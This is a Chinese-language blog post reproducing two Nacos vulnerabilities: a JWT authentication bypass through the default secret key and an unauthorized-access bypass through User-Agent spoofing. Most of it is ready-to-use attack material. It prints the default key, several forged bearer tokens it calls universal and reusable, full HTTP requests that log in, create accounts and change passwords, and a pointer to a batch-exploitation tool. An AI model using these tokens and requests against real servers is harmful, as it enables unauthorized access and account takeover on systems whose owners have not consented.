本文主要复现nacos的一些经典漏洞,既是分享也是为了记录自己的成长,近期会持续更新。
1. QVD-2023-6271 Nacos身份绕过漏洞
1.1 漏洞级别 :高危
1.2 漏洞描述:低版本的Nacos存在默认的scertkey在未更换的情况下可以生成任意的可用accesstoken
1.3利用范围
nacos <=2.2.0
1.4 漏洞复现
先来重点介绍一下如何任意生成一个可用的accesstoken
在nacos中accesstoken的生成是通过jwt的字符串创建的。
在nacos中默认的secertkey为:
SecretKey012345678901234567890123456789012345678901234567890123456789
jwt的payload参数为
{
"sub": "nacos",
"exp": 1699974368
}
#其中exp为时间戳,实际测试中这个时间戳早于或晚于当前时间都可以生效,如果无效的话可以调整时间戳到当前时间以后
至此一份完整的jwt生成数据就形成了
注:请注意红框部分的secret base64 encoded 必须勾选,否则生成的encoded就是错误的,笔者在此踩过雷。
至此万能accesstoken就生成了,实际测试一下:
在login接口的header添加下列参数
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzI5N30.YC6gtGxpYNDrSvNzmu2S4YF5Hd1Xwj1AJx5ZrdizO2A
一个完整的request包如下:(username和password可以随意填写)
POST /nacos/v1/auth/users/login HTTP/2
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzI5N30.YC6gtGxpYNDrSvNzmu2S4YF5Hd1Xwj1AJx5ZrdizO2A
username=nacos&password=123456
如果之前的jwt生成时间戳在当前时间之前,会返回
在当前时间之后则会返回
这2种情况下生成的accesstoken都是有效的。
1.4.2 以admin账户登录
上文介绍了快速登录的方案,如果想要以现有的某个账号登录进去可以进行如下操作:
bp进行登录抓包:
header中添加如下参数,放行数据包即可登录
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzI5N30.YC6gtGxpYNDrSvNzmu2S4YF5Hd1Xwj1AJx5ZrdizO2A
username为想要登录的账号,如下图登录成功
1.4.3 漏洞速通
上文介绍了漏洞的利用原理和生成模式,实际上,由于secretkey一致,所有人通过该方法生成的accesstoken都是通用的。
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5OTk3NDM2OH0.q9Jd50oWXMn4cJAgwWK4BfdQ0yZWxwpXTJuW_fmOS5w
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzI5N30.YC6gtGxpYNDrSvNzmu2S4YF5Hd1Xwj1AJx5ZrdizO2A
上文给出的2个jwt都是可以直接使用的,无需再次构建。
推荐一个github项目 https://github.com/Pizz33/nacos_vul
其中nacosvul.py可以批量检测目标网站是否存在漏洞
nacosadd.py可以直接生成账号,执行
python3 nacosadd.py url
通过这个账号即可正常登录
2. CVE-2021-29441 Nacos未授权访问
2.1 漏洞级别 :高危
2.2 漏洞描述:
当 nacos 在执行身份验证和授权操作时确定请求的用户代理是否为“Nacos-Server”时,由于简单的配置,通过利用此未经授权的漏洞,攻击者直接执行nacos的相关api接口进行漏洞利用
2.3 利用范围
nacos <=2.0.0-ALPHA.1
2.4 漏洞复现
访问如下链接:
url/nacos/v1/auth/users?pageNo=1&pageSize=2
#pageNo表示第几页,pageSize表示一页显示几个账号,可以根据需要修改
默认配置下就可以直接显示服务下的账号信息
这里可以正常显示的话就表示漏洞可以正常利用,构造包
POST /nacos/v1/auth/users?username=test&password=123456 HTTP/2
Host:
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Length: 19
pageNo=1&pageSize=10
- 其中username和password即为新增的账号密码
- user-Agent需要设置为Nacos-Server (第一步同理,也需要配置)
- 如果返回"create user ok!" 即利用成功
注:在1.4.1版本下测试时,发现agent不修改的情况下,就可以直接执行相关操作,这可能Nacos的默认权限配置有关,有研究的大佬也可以留言交流一下~
3 Nacos漏洞利用进阶
上文介绍的几种漏洞利用方案是添加账号的方式,其实Nacos中账号操作的api有不少,在同等权限下也是可以利用,下文会介绍几种常见的api,大家可以自由选择利用方案。
3.1 创建用户
3.1.1 未授权接口
POST /nacos/v1/auth/users?username=test&password=123456 HTTP/2
Host:
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Length: 19
pageNo=1&pageSize=10
3.1.2 需校验接口
POST /nacos/v1/auth/users HTTP/2
Host:
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Te: trailers
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5OTk3NDM2OH0.q9Jd50oWXMn4cJAgwWK4BfdQ0yZWxwpXTJuW_fmOS5w
username=test&password=123456
3.2 修改密码
PUT /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJoYWhhIiwiZXhwIjoxNjk5OTcxMzE1fQ.s5ckzB9vIE9QrG2eaeCtpUTGiiwekihWeYGHVU9LvOo HTTP/2
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Accesstoken: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJoYWhhIiwiZXhwIjoxNjk5OTcxMzE1fQ.s5ckzB9vIE9QrG2eaeCtpUTGiiwekihWeYGHVU9LvOo
Content-Length: 31
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
username=haha&newPassword=12345